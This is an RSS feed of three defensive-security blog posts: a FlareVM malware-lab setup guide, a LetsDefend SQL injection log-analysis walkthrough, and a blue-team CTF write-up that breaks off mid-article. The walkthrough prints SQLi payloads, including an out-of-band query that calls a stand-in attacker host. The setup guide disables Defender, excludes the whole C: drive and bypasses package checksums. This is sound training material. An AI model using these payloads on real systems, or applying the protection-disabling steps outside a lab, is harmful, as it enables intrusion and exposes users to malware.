<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by n3phel1m on Medium]]></title>
        <description><![CDATA[Stories by n3phel1m on Medium]]></description>
        <link>https://medium.com/@n3phel1m?source=rss-93ec4f7b33c3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*BwwQ6e-I4hqMg_DqRjKFEw.jpeg</url>
            <title>Stories by n3phel1m on Medium</title>
            <link>https://medium.com/@n3phel1m?source=rss-93ec4f7b33c3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 09:13:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@n3phel1m/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[A Step-by-Step Guide on How to Setup FlareVM in VirtualBox (For real)]]></title>
            <link>https://medium.com/@n3phel1m/a-step-by-step-guide-on-how-to-setup-flarevm-in-virtualbox-for-real-4794c2747dde?source=rss-93ec4f7b33c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/4794c2747dde</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[virtualbox]]></category>
            <dc:creator><![CDATA[n3phel1m]]></dc:creator>
            <pubDate>Sat, 05 Oct 2024 19:21:19 GMT</pubDate>
            <atom:updated>2024-10-05T19:21:19.413Z</atom:updated>
            <content:encoded><![CDATA[<p>Recently, I faced several challenges while setting up FlareVM, so I decided to share a detailed step-by-step installation guide that might help if you’re experiencing similar issues. So, my fellow analysts, without further ado, let’s roll up our sleeves and dive in!</p><p>Please note, we assume you already have a Windows 10 ISO file and have downloaded the latest version of VirtualBox. If not, you can follow the links below.</p><ul><li>Create a Windows ISO file <a href="https://support.microsoft.com/en-us/windows/create-an-iso-file-for-windows-10-38547366-1dcb-7afd-1726-9eb222d72705">https://support.microsoft.com/en-us/windows/create-an-iso-file-for-windows-10-38547366-1dcb-7afd-1726-9eb222d72705</a>.</li><li>Download VirtualBox <a href="https://www.virtualbox.org/wiki/Downloads">https://www.virtualbox.org/wiki/Downloads</a>.</li></ul><h3>1. Create a new VM in VirtualBox.</h3><p>On VirtualBox click Add.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F2gBSkALcyfOnqza_p3CxA.png" /></figure><p>On Name and Operating System tab.</p><ul><li><strong>Name:</strong> This will be the name of your virtual machine. I just named it Flare</li><li><strong>ISO Image</strong>: Select the path of you Windows iso file.</li><li><strong>Check</strong> the box of “Skip Unattended Installation”</li></ul><p>The rest of the fields have been completed automatically by VirtalBox.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*zMEhuajPOTPBNPOKy1BKHw.png" /></figure><p>We can skip the “Unattended Install” tab since we have checked the “Skip Unattended Installation” box.</p><p>On Hardware tab.</p><ul><li><strong>Base Memory</strong>: This is the RAM that you can allocate for your virtual machine. I would recommend to allocate at least 4 GB. I gave 8GB. In order to convert the GB into MB you need multiple by 1024. So 8x1024 = 8129 MB</li><li><strong>Processors</strong>: This is the number of the processors that you want to allocate to your virtual machine. I would recommend at least 4.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*K4aUQ2brJ6_xhkgIG1966Q.png" /></figure><p>On Hard Disk tab.</p><ul><li><strong>Create a Virtual Hard Disk Now</strong>: This option will be selected by default. You just need to <strong>give at least 60 GB of disk space</strong>. You do not need to change anything else. After that just click <strong>Finish</strong> at the bottom right.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*s_E8Q1E9NLiJYMpBMYKqkQ.png" /></figure><p>To ensure a smooth installation process, we need to temporarily disable the network settings of our new Flare VM. Start your Flare VM by <strong>double-clicking on its icon</strong>. In the bottom right corner of the window, you’ll see an icon with two overlapping monitors. Refer to the area indicated by the red arrow (<strong>please ignore the VM PowerShell in the picture; it was captured after the installation</strong>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WsdVlblGkT7ep4hVkVvnXg.png" /></figure><p>Right-click on this icon and select <strong>Connect Network Adapter</strong> to disconnect it. You can enable the adapter again using the same steps later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/270/1*TsCXEcLWhjy3R0T03A3zbA.png" /></figure><h3>2. Install Windows 10 Pro.</h3><p>This VM is intended for malware analysis, so there’s no need to customize anything during the Windows installation. We only require a clean installation of Windows 10 Pro.</p><p>You will get prompted with the following. Just click <strong>Next</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*H_f6uHdydY76ZgF5NFUSEQ.png" /></figure><p>Click on <strong>Install now</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*qOZOXZejR9bTnFVfkPfzKA.png" /></figure><p>Click on <strong>I don’t have a product key</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*9i-YCE3k4GfdmfvFKUeZiQ.png" /></figure><p>Then select the <strong>Windows 10 Pro</strong> version and click <strong>Next</strong>. It is very important to use the <strong>Windows 10 Pro</strong> and not any other version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*kXsvP2lavDk52vmsewCU8Q.png" /></figure><p>Check the <strong>I accept the license terms</strong> and click <strong>Next</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*A0oD8VjurXKwhmaDTY9cLA.png" /></figure><p>Click on<strong> Custom: Install Windows only (advanced)</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*Bw4gtlvnnOQPNPZE9OQmzg.png" /></figure><p>The<strong> Drive 0</strong> should be selected by default. Just click <strong>Next</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*T1QT6JAdYTm3rXZ1slAPMg.png" /></figure><p>We just need to wait for the installation process to finish.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A-Aj8YSFnCrqbDg515yXww.png" /></figure><p>Once the installation is complete, you’ll be prompted with the default Windows 10 configuration settings. Just stick with the default setup — we don’t need any customization. Select <strong>United States </strong>and click <strong>Yes.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*F_xG6B_vgN331ydBKSSi5w.png" /></figure><p>Select <strong>US</strong> and click <strong>Yes</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*F6AZ8e6ha-SWkJa5anB8Gw.png" /></figure><p>Click <strong>Skip</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*iK0J3R2fAETEZzSj2zIJJA.png" /></figure><p>Click <strong>I don’t have internet </strong>at the bottom left<strong>.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*Q1DbyQxG9cVmIx5nV1vsdg.png" /></figure><p>Click <strong>Continue with limited setup </strong>at the bottom left<strong>.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NOPnrNtEkWHJ7zzdw1Jf-Q.png" /></figure><p>Create a name for your account — I simply named mine <strong>Flare</strong>. Then, click Next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2hMSzwuM1Pi4YHpWRvrcWQ.png" /></figure><p>Create a password and click <strong>Next</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*bdJsJAprZM-laR9gA1NFSw.png" /></figure><p>Confirm your password and click <strong>Next</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*EA-ldE28g8Hh5qtIgcMNJA.png" /></figure><p>Just create 3 security questions and click <strong>Next</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*yZUWG_MvfdUnXF3f22tWnQ.png" /><figcaption>Security question 1.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*9TW49FpbKOiTdvWzerl2pQ.png" /><figcaption>Security question 2.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*ZqdDAo2a8ojTXBEFoAYWRg.png" /><figcaption>Security question 3.</figcaption></figure><p>Toggle to <strong>No</strong> all the following options and click <strong>Accept</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*KlG7nFRCB4RZ9sRHDLyQMg.png" /><figcaption>Choose privacy settings for your device.</figcaption></figure><p>Click on <strong>Not now</strong> at the bottom right. After that the Windows will set up some things and it will boot to our desktop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*6Hlp0et_-ZMo9RqlHThAQg.png" /><figcaption>Let Cortana help you get things done. Of course not.</figcaption></figure><h3>3. VirtualBox Guest Additions installation.</h3><p>In order to have a more responsive Windows 10 VM we need to install VirtualBox Guest Additions.</p><p>Click on <strong>Devices </strong>-&gt;<strong> Install Guest Additions CD image</strong>. This option will “insert” the CD image in the VM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*khYmMtB83vcvgKwQFpX6NQ.png" /></figure><p>Navigate to <strong>This PC </strong>and click the<strong> CD drive</strong>. You should see something like the screenshot below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*4yWpZYLf2cBx_MyawDrjrg.png" /></figure><p>Then select <strong>VBoxWindowsAdditions-amd64.exe </strong>to initiate the installation process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qs9hXLnTkgcP8spbR3hDXA.png" /></figure><p>Click <strong>Next</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*90o1zFCF6Xla7oKe3PX6DA.png" /></figure><p>Click <strong>Next</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9SVDZgEoYetIKO6Qu3-_-A.png" /></figure><p>Click <strong>Install</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*u3Ot2_0uSYBeba6yD2gCfg.png" /></figure><p>Now we need to reboot. Select <strong>Reboot now</strong> and click <strong>Finish</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*ALpetsgfSDmcpCEdhm5a0w.png" /></figure><h3>4. FlareVM prerequisite</h3><p>We need to set up some things firth before initiating the installation of FlareVM.</p><p><strong>A. Pause Windows Update.</strong></p><p>At the search bar at the bottom left search for “<strong>windows update</strong>” and click on <strong>Windows Update settings</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5kHFVNQ6cneqhZEXGTs8rg.png" /></figure><p>Click on <strong>Pause updates for 7 days</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3o6t1GRgTZnCEGR6bqNKTQ.png" /></figure><p><strong>B. Disable Microsoft Defender.</strong></p><p>At the search bar at the bottom left search for “<strong>virus &amp; threat protection</strong>” and click on <strong>Virus &amp; threat protection</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lFvtff3ZEzUnraVbfUBaaQ.png" /></figure><p>Scroll down to <strong>Virus &amp; threat protection settings </strong>and click on<strong> Manage settings</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WS4OAmpdnGcDV4kp0bdM8g.png" /></figure><p>Toggle off the <strong>Real-time protection</strong>, <strong>Cloud-delivered protection</strong>, <strong>Automatic sample submission</strong> and <strong>Tamper Protection</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*73v-2ld9BGqT-PVkrKcfug.png" /></figure><p>While we are still at the same page, scroll down to <strong>Exclusions</strong> and click on <strong>Add or remove exclusions</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T_seev97ii-1e8yBSAWmDQ.png" /></figure><p>Then click on<strong> + Add an exclusion</strong> and select <strong>Folder</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*luyye_vgQxbIa_v7RoYo2w.png" /></figure><p>From the popped window select the <strong>Local Disk (C:)</strong> and click on <strong>Select Folder </strong>at the bottom right.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Drj8lRbWb3kZHwpompFGCA.png" /></figure><p>Now we have excluded the whole C disk from Microsoft Defender.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zv2g6EP06yx1xoRXHGmevg.png" /></figure><p>Press <strong>windows + R</strong> in order to open the <strong>Run</strong> box. Type <strong>gpedit.msc</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*AM6dLGQMH0F-5CGhMFliDg.png" /></figure><p>Go to <strong>Administrative Templates</strong> -&gt; <strong>Windows Components</strong> -&gt; <strong>Microsoft Defender Antivirus</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*uxEEOl_88CGbNiLnPboM4w.png" /></figure><p>Double click <strong>Turn off Microsoft Defender Antivirus.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*tbfRRILnRvWigY-RY3folQ.png" /></figure><p>Select <strong>Enabled</strong>, click <strong>Apply</strong> and then click <strong>OK</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UCg_222J2QXdAcWb6OvV1g.png" /></figure><p>Go to <strong>Administrative Templates</strong> -&gt; <strong>Windows Components</strong> -&gt; <strong>Microsoft Defender Antivirus </strong>-&gt;<strong> Real-time Protection</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qNMNVQPauq5k9jOs1lqwZw.png" /></figure><p>Double click <strong>Turn off real-time protection</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*48whWrCQCNUSoOfaRAIv1A.png" /></figure><p>Select <strong>Enabled</strong>, click <strong>Apply</strong> and then click <strong>OK</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*gqFVFSN7OTWLb2oeTnsmhA.png" /></figure><p>After that we need to reboot our machine in order for the changed to be applied.</p><h3>5. Take A Snapshot.</h3><p>Go to VirtualBox, select you Flare VM, click on the 3 dots and 3 lines sign and select Snaposthos.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*B2HD4Br0p-SGk2XOMxlgVA.png" /></figure><p>Click <strong>Take</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JAiY27H6_GM3l6mrgIuSVw.png" /></figure><p>Name the Snapshot and then click <strong>Ok</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lbDjdhvBO3OX08-XUzGoIA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*vwvSYragIMqeUHcXVOcCtg.png" /></figure><p>At this point we need to enable the network adapter. In the bottom right corner of the window, you’ll see an icon with two overlapping monitors. Refer to the area indicated by the red arrow (<strong>please ignore the VM PowerShell in the picture; it was captured after the installation</strong>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WsdVlblGkT7ep4hVkVvnXg.png" /></figure><p>Right-click on this icon and select <strong>Connect Network Adapter</strong> to connect back the adapter. Now your VM is connected to the Internet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/270/1*TsCXEcLWhjy3R0T03A3zbA.png" /></figure><h3><strong>6. FlareVM Setup.</strong></h3><p>Search for <strong>powershell</strong> at the search bar, righ click on <strong>Windows Powershell</strong> and click on <strong>Run as administrator</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*9fH5-dfBoss8svRwqPXDTg.png" /></figure><p>Then run the following commands with this order</p><pre>cd ..</pre><pre>cd ..</pre><pre>cd .\Users\[Name]\Desktop ( where [Name] = The name of the account, in my case Flare)</pre><pre>(New-Object net.webclient).DownloadFile(&#39;https://raw.githubusercontent.com/mandiant/flare-vm/main/install.ps1&#39;,&quot;$([Environment]::GetFolderPath(&quot;Desktop&quot;))\install.ps1&quot;)</pre><pre>Unblock-File .\install.ps1</pre><pre>Set-ExecutionPolicy Unrestricted -Force</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*PLJEQI831ETX3YLjqPApkA.png" /></figure><p>Now we can begin the setup, by writing the following command on the powerhsell .\install.ps1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*zRJaOa88TYiVC1pEnWBRfQ.png" /></figure><p>After some checks the install.ps1 script will ask if you have take snapshot. Type <strong>Y</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*OVd2UsA77-hwWMEdcWZq2g.png" /><figcaption>We took earlier.</figcaption></figure><p>Then the script will ask for a password. Type the password of your user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*_TDFZBMOiTO6RwwIcRzlwQ.png" /></figure><p>After a while, you’ll be prompted with a GUI where you can select which tools to include in your VM. I recommend leaving the default selection as-is, since many of the packages have broken dependencies that could disrupt the entire installation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*O33pOHPz2l1F4oZfJoY9wg.png" /></figure><p>At the end of this installation you should have you FlareVM ready.</p><p>Issues that I run in</p><ul><li>Occasionally, the VM will reboot, and sometimes the restart may get stuck. If that happens, I simply terminated the VM and restarted it manually, which seems to resolve the issue.</li><li>Depending on when you’re reading this, some packages may have broken dependencies or invalid hashes. The only workaround I’ve found is to remove those packages during installation and manually install them once Flare is fully set up.</li></ul><h3>7. Example of an error.</h3><p><strong>Disclaimer:</strong><br>The following method bypasses checksum validation, which can expose you to security risks. Providing the expected checksum is discouraged, as it may indicate that the package has been compromised. If you choose to proceed, you do so at your own risk. I am not responsible for any security issues or compromises that may result from using this method.</p><p>During my installation, several packages failed to install.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0hJzVG0IpJSh7vECXD7RPA.png" /></figure><p>For each failed package, you can attempt to install it manually. For example, you could try installing dotnet-6.0-sdk-4xx yourself.</p><pre>choco install dotnet-6.0-sdk-4xx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*suuRIxGSR5F35GGkWD6zLg.png" /></figure><p>Full Error:</p><pre>Checksum for ‘C:\Users\Flare\AppData\Local\ChocoCache\dotnet-6.0-sdk-4xx\6.0.425\dotnet-sdk-6.0.425-win-x64.exe’ did not meet ‘9d220b643e0925fe1fdbcafd60aef2af57ac0a9aa0b4cb57f63de61df8f04ace0eee342395b0c3090823391ed9bae510a0212cccbd432db16371271b81d892e3’ for checksum type ‘sha512’. Consider passing the actual checksums through with — checksum — checksum64 once you validate the checksums are appropriate. A less secure option is to pass — ignore-checksums if necessary.</pre><p>The installation continues to fail due to a checksum mismatch. To resolve this, you have two options: either use the --ignore-checksums argument to bypass the check, or provide the correct checksum using the --checksum flag.</p><p>The use of --ignore-checksums did work for my case.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m13JMGH90WwfhG8D3bhpPg.png" /></figure><p>I passed the expected checksum and worked. I used the --force flag to enforce the reinstallation of the package.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*351Bnuqi5wVPSyifV98raA.png" /></figure><p>After I installed donet-6.0-sdk-4xx I was able to install the rest of the failed packages. Note that we can install multiple packages like this</p><pre>choco install -y package1 package2 package3 </pre><p>I hope this article helped you my fellow analyst. If you have any question you can contact me through email on <a href="/service/mailto:sandasandapanda@proton.me">sandasandapanda@proton.me</a>.</p><p>Stay safe!</p><p>Sources that helped me</p><ul><li><a href="https://www.youtube.com/watch?v=qA0YcYMRWyI">Malware Analysis In 5+ Hours — Full Course — Learn Practical Malware Analysis!</a></li><li><a href="https://www.youtube.com/watch?v=bKxrnU-o8NQ">Explode Malware Safely: Setting Up Your Flare-VM Lab</a></li><li><a href="https://github.com/mandiant/flare-vm">FLARE-VM</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4794c2747dde" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Detecting SQL Injection Attacks | LetDefend Walkthrough]]></title>
            <link>https://medium.com/@n3phel1m/detecting-sql-injection-attacks-letdefend-walkthrough-a291f7e11da6?source=rss-93ec4f7b33c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/a291f7e11da6</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[lets-defend]]></category>
            <dc:creator><![CDATA[n3phel1m]]></dc:creator>
            <pubDate>Fri, 20 Sep 2024 16:46:04 GMT</pubDate>
            <atom:updated>2024-12-15T12:48:14.324Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fSUjykoH6txi76QgVZQibA.jpeg" /><figcaption>Photo by Jorge Jesus: <a href="https://www.pexels.com/photo/computer-program-language-text-614117/">https://www.pexels.com/photo/computer-program-language-text-614117/</a></figcaption></figure><p>In this article, I am going to walk you through the module “Detecting SQL Injection Attacks” form LetsDefend <a href="https://app.letsdefend.io/training/lesson_detail/detecting-sql-injection-attacks-web-attacks-101">(https://app.letsdefend.io/training/lesson_detail/detecting-sql-injection-attacks-web-attacks-101</a>). I will assume you are already familiar with the basics of SQL Injection (SQLi) techniques, and that you have read LetsDefend’s lesson about it, so I will not delve into the details of these method.</p><h4>Preparing the Environment</h4><p>Before proceeding, navigate to the following path: /root/Desktop/QuestionFiles/SQL_Injection_Web_Attacks.rar and extract the .txt file. The file appears to be a web server access log, likely generated by Apache or a similar web server.</p><p><strong>Question:</strong> What date did the exploitation phase of SQL Injection Attack start?</p><p>As we scroll through the logs, we identify the first suspicious request on 01/Mar/2022:08:35:14. The request is as follows</p><pre>/dvwa/vulnerabilities/sqli/?id=%27&amp;Submit=Submit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GovMeNIfKZmbQCdrn4lYFQ.png" /></figure><p>At first glance, this request might not seem unusual. However, if we decode the URL, it becomes:</p><pre>/dvwa/vulnerabilities/sqli/?id=&#39;&amp;Submit=Submit.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*EQ3C0HyJTcrKKawfeis4tA.png" /></figure><p>The character %27 translates to a single quote (&#39;). The single quote is commonly used in SQL Injection attacks, allowing threat actors or penetration testers to test the application&#39;s response in a simple and straightforward manner</p><p>As we continue to examine the logs, we notice more sophisticated payloads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EQ3nYp7Jlv-am8kSjfvr_Q.png" /></figure><p>Using a URL decoder helps us better understand these requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uZO9_AsrOngFAlK8xo5hqw.png" /></figure><p>For this exercise, we determine that the start time of the attack is 01/Mar/2022:08:35:14.</p><p><strong>Question:</strong> What is the IP address of the attacker who performed the SQL Injection attack?</p><p>With the malicious requests identified, finding the attacker’s IP address is straightforward, as it is located at the beginning of the log entry. The IP address is 192.168.31.167.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*4ui9CHMMwDPxHrBiwYlSbA.png" /></figure><p><strong>Question:</strong> Was the SQL Injection attack successful? (Answer Format: Y/N)</p><p>To determine the success of the attack, we can examine the response size in the logs. The response size for the SQLi requests ranges from approximately 4500 to 4800 bytes. Based on this information, we can reasonably conclude that the attack was successful. Therefore, the answer is Y.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cK8MFOGdMmuxHiQj4DKj1g.png" /></figure><p><strong>Question:</strong> What is the type of SQL Injection attack? (Classic, Blind, Out-of-band)</p><p>Here is a brief overview of the three types of SQLi attacks:</p><p><strong>Classic SQL Injection (SQLi) Attack</strong>:</p><ul><li>An attacker manipulates a web application’s SQL queries by injecting malicious SQL code, leading to unauthorized access to data, database manipulation, or even full control over the database.</li><li><strong>Example</strong>:</li></ul><pre>SELECT * FROM users WHERE username = &#39;&#39; OR &#39;1&#39;=&#39;1&#39; AND password = &#39;&#39; OR &#39;1&#39;=&#39;1&#39;;</pre><p><strong>Blind SQL Injection (SQLi) Attack</strong>:</p><ul><li>In a Blind SQL Injection, the attacker cannot see the result of the injection directly (e.g., no database output). Instead, they infer information based on the application’s behavior, such as different responses or delays.</li><li><strong>Example</strong>:</li></ul><pre>SELECT * FROM users WHERE id = 1; IF(1=1, SLEEP(5), 0) --;</pre><p><strong>Out-of-Band SQL Injection (SQLi) Attack</strong>:</p><ul><li>An Out-of-Band SQL Injection occurs when the attacker cannot retrieve data directly through the web application but instead uses alternative channels (like DNS or HTTP requests) to exfiltrate data. This is less common but can be effective when direct communication is restricted.</li><li><strong>Example</strong>:</li></ul><pre>SELECT * FROM users WHERE id = 1; EXEC xp_dirtree &#39;//attacker.com/abc&#39; --;</pre><p>Based on the brief explanation above, we can easily conclude that the type of attack in this case is <strong>Classic SQL Injection</strong>.</p><p>I hope this article helped you. If you have any question or suggestion you can leave it below or send me an email on <a href="/service/mailto:sandasandapanda@proton.me">sandasandapanda@proton.me</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a291f7e11da6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blue Team CTF — l337 S4uc3]]></title>
            <link>https://medium.com/@n3phel1m/blue-team-ctf-l337-s4uc3-4468dd537074?source=rss-93ec4f7b33c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/4468dd537074</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[n3phel1m]]></dc:creator>
            <pubDate>Tue, 18 Jul 2023 18:18:44 GMT</pubDate>
            <atom:updated>2023-07-18T18:18:44.754Z</atom:updated>
            <content:encoded><![CDATA[<h3>Blue Team CTF — l337 S4uc3</h3><p>I know I’ve be gone for too long but I am back with another CTF. For the first time in my blog I am going to present a Blue Team CTF challenge. Yeah there are Blue Team’s CTFs. This CTF is from <a href="https://cyberdefenders.org/">CyberDefenders</a> named l337 S4uc3. So let’s start!</p><p>In this article I will not show the answers BUT I will show all the thought process behind every question. The most difficult part of Blue Team CTFs is to point what are you actually looking for and how you can search for it.</p><h4>Question 1</h4><p>I will show 2 different ways that we can acquire this information.</p><p><em>First Method</em></p><p>Using Wireshark we will open the pcap file. We can try to search for DNS request-response to see if there is any request to Development.wse.local.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*9qSIAOdxw6fW1NpjEnYd3w.png" /><figcaption>Too bad…</figcaption></figure><p>There no request to Development.wse.local. We can try to analyze all the HTTP traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*TWzbDX_svWbaTmhtNqOSWw.png" /></figure><p>There is so much noise that we will probably fail to find any reasonable answer. So we know that this information is probably somewhere in the pcap file(we know this because the question is guiding us, in a real life scenario we will probably not have any information like this) but where? We can simply search for it.</p><p>Press Ctrl+f to show the search bar. Change Display Filter to String and Packet list to Packet bytes. This way we can search for a specific string ( Development.wse.local) inside the packet’s bytes. Immediately we have hits. After close investigation we can see 172.16.0.109 talking to 172.16.0.108 and in the Host header in the HTTP GET request there is the string we are searching. This means that Development.wse.local private IP is 172.16.0.108 or at least it means this IP is in the routing path. If we dig deeper we will find that indeed 172.16.0.108 is the private IP of Development.wse.local(to reach this conclusion we need to study the whole pcap and it’s not the purpose of this article).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*Foa35GAleFA6JQQ2Wnmf0A.png" /></figure><p>Now we just need to search for the Host Header for all the packets intended to 172.16.0.108. After some searches we find an external IP. This IP is the answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*BY2YyOxxlHBxY5WAgKygUQ.png" /></figure><p><em>Method 2</em></p><p>We could easily avoid all this procedure and just use NetworkMiner. First through WireShark we save the pcapng to pcap and the we open it with NetworkMiner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*crdkHrEGMscv6PHIknbYwg.png" /></figure><p>Right now I can hear you screaming “Why did I do all this work?”. Well analysis skill is something that needs training. There is a chance that tools like the NetworkMiner will not work, like if we had HTTPS instead of HTTP. So, training with the manual way It’s valuable and analysis will never let you down.</p><h4>Question 2</h4><p>For this question we only need to change some settings in WireShark. Go to View -&gt; Time Display Format -&gt; UTC Time of Day. Remove the searches or the filters you might still have and go to the 1st Frame.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*5I5PT0njm55s_Vr_s8wovQ.png" /></figure><h4>Question 3</h4><p>As before we can search for PHP in the pcapng file in the packets involving 172.16.0.108.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*V65R98e2wxk5YY4K627N_g.png" /></figure><h4>Question 4</h4><p>We search for Apache in the pcapng file in the packets involving 172.16.0.108.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*LV02QrX2Xxek3a6YaQLdUw.png" /></figure><h4>Question 5</h4><p>For this question we need to investigate the png from the downloaded zip. We need to answer the NAME of the malware NOT the type.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*8eI4Tbi1N8gbars79xZJ0A.png" /><figcaption>yeah, paint.</figcaption></figure><h4>Question 6</h4><p>In this 